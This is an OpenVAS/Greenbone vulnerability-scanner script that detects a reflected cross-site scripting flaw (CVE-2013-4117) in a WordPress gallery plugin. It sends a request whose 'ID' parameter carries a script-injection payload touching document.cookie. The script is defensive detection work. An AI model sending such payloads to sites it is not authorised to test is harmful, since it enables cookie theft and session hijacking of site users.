WordPress Category Grid View Gallery XSS Vulnerability

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.803681");
  script_version("2023-10-27T05:05:28+0000");
  script_cve_id("CVE-2013-4117");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
  script_tag(name:"creation_date", value:"2013-07-03 16:01:07 +0530 (Wed, 03 Jul 2013)");
  script_name("WordPress Category Grid View Gallery XSS Vulnerability");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary HTML and
script code in a user's browser session in the context of an affected site.");
  script_tag(name:"affected", value:"WordPress Category Grid View Gallery Plugin version 2.3.1 and prior");
  script_tag(name:"insight", value:"The flaw is caused due to an input validation error in the 'ID' parameter
in '/wp-content/plugins/category-grid-view-gallery/includes/CatGridPost.php'
when processing user-supplied data.");
  script_tag(name:"solution", value:"No known solution was made available for at least one year
since the disclosure of this vulnerability. Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective
features, remove the product or replace the product by another one.");
  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
  script_tag(name:"summary", value:"Category Grid View Gallery plugin is prone to a cross-site scripting (XSS) vulnerability.");
  script_tag(name:"solution_type", value:"WillNotFix");
  script_xref(name:"URL", value:"http://seclists.org/bugtraq/2013/Jul/17");
  script_xref(name:"URL", value:"http://exploitsdownload.com/exploit/na/wordpress-category-grid-view-gallery-xss");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/122259/WordPress-Category-Grid-View-Gallery-XSS.html");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("wordpress/http/detected");
  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + '/wp-content/plugins/category-grid-view-gallery/includes' +
            '/CatGridPost.php?ID="><script>alert(document.cookie)</script>';

if(http_vuln_check(port:port, url:url, check_header:TRUE,
   pattern:"<script>alert\(document\.cookie\)</script>"))
{
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}